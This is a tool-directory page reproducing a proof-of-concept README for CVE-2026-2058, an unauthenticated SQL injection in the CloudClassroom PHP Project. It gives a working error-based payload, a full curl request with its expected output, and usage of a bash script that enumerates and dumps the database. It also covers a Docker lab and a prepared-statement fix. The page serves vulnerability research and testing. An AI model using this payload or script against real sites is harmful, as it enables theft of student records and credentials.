Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-2058-PoC — Proof-of-concept exploit for CVE-2026-2058, a SQL injection in CloudClassroom PHP Project, with automated database enumeration and data extraction. | Kitploit
Tools/GitHubGitHub/carlosalbertotuma/cve-2026-2058-poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubcarlosalbertotuma/cve-2026-2058-poc

CVE-2026-2058-PoC

Proof-of-concept exploit for CVE-2026-2058, a SQL injection in CloudClassroom PHP Project, with automated database enumeration and data extraction.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-2058-PoC – CloudClassroom PHP Project SQL Injection

Overview

A SQL Injection vulnerability exists in the Post Query functionality of the CloudClassroom PHP Project (v1.0).

The vulnerability allows attackers to inject arbitrary SQL commands via the squeryx POST parameter, leading to database enumeration and data extraction.

This repository contains a Proof of Concept (PoC) exploit demonstrating how the vulnerability can be abused to extract sensitive data from the backend database.

Vulnerability Information

FieldValue
CVECVE-2026-2058
Vulnerability TypeSQL Injection
CWECWE-89
Affected SoftwareCloudClassroom PHP Project
Affected Version1.0
ComponentPost Query functionality
Attack VectorRemote
Authentication RequiredNo
ImpactDatabase disclosure
SeverityHigh
Attack Pattern ReferenceCAPEC-66

Vulnerable Endpoint

root@kitploit:~
POST /postquerypublic

Vulnerable Parameter

root@kitploit:~
squeryx

Root Cause

The backend code directly concatenates user input into a SQL query without proper sanitization or parameterized queries.

Example vulnerable code:

root@kitploit:~
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";

Because $tempsquery is derived from user input, attackers can inject arbitrary SQL.

Vulnerable Lab Setup (Docker)

For testing and research purposes, a vulnerable Docker environment is available.

Run the vulnerable application

root@kitploit:~
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0

Proof of Concept

The vulnerability can be triggered using an error-based SQL injection technique leveraging the MySQL updatexml() function.

Example payload:

root@kitploit:~
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1

Manual Exploitation

Example curl request:

root@kitploit:~
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"

Expected response:

root@kitploit:~
XPATH syntax error: '~cc_db~'

Exploit Script

This repository includes a bash exploit that automatically:

  • Extracts the database name
  • Enumerates tables
  • Enumerates columns
  • Dumps table data

Usage

root@kitploit:~
chmod +x cloudclassroom_sqli_exploit.sh

./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic

Example:

root@kitploit:~
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic

Impact

An attacker can:

  • Enumerate database structure
  • Extract sensitive data
  • Retrieve administrator credentials
  • Access student records
  • Fully compromise the backend database

CVSS Score

NIST NVD

  • Base Score: 9.8 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CNA (VulDB)

  • Base Score: 7.3 (HIGH)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

⚠️ Note: The NVD CVSS score differs from the CNA (VulDB) score due to different impact assessments.

EPSS (Exploit Prediction Scoring System)

The Exploit Prediction Scoring System (EPSS) estimates the probability that a vulnerability will be exploited in the wild.

CVEEPSS ProbabilityPercentileDate
CVE-2026-20580.000287.62 %2026-03-01

Source: FIRST EPSS Dataset

Mitigation

Developers should:

  • Use prepared statements
  • Implement input validation
  • Escape user input properly
  • Apply least privilege database permissions

Example secure implementation:

root@kitploit:~
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();

Screenshots

SQL Injection Exploitation

image
image

References

  • https://cwe.mitre.org/data/definitions/89.html
  • https://owasp.org/Top10/2025/A05_2025-Injection/
  • https://capec.mitre.org/data/definitions/66.html
  • https://github.com/OWASP/www-project-web-security-testing-guide/blob/master/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.md

Disclaimer

This exploit is provided for educational and research purposes only.

The author is not responsible for misuse or damage caused by this code.

Author

bl4dsc4n

Security Researcher

Download Tool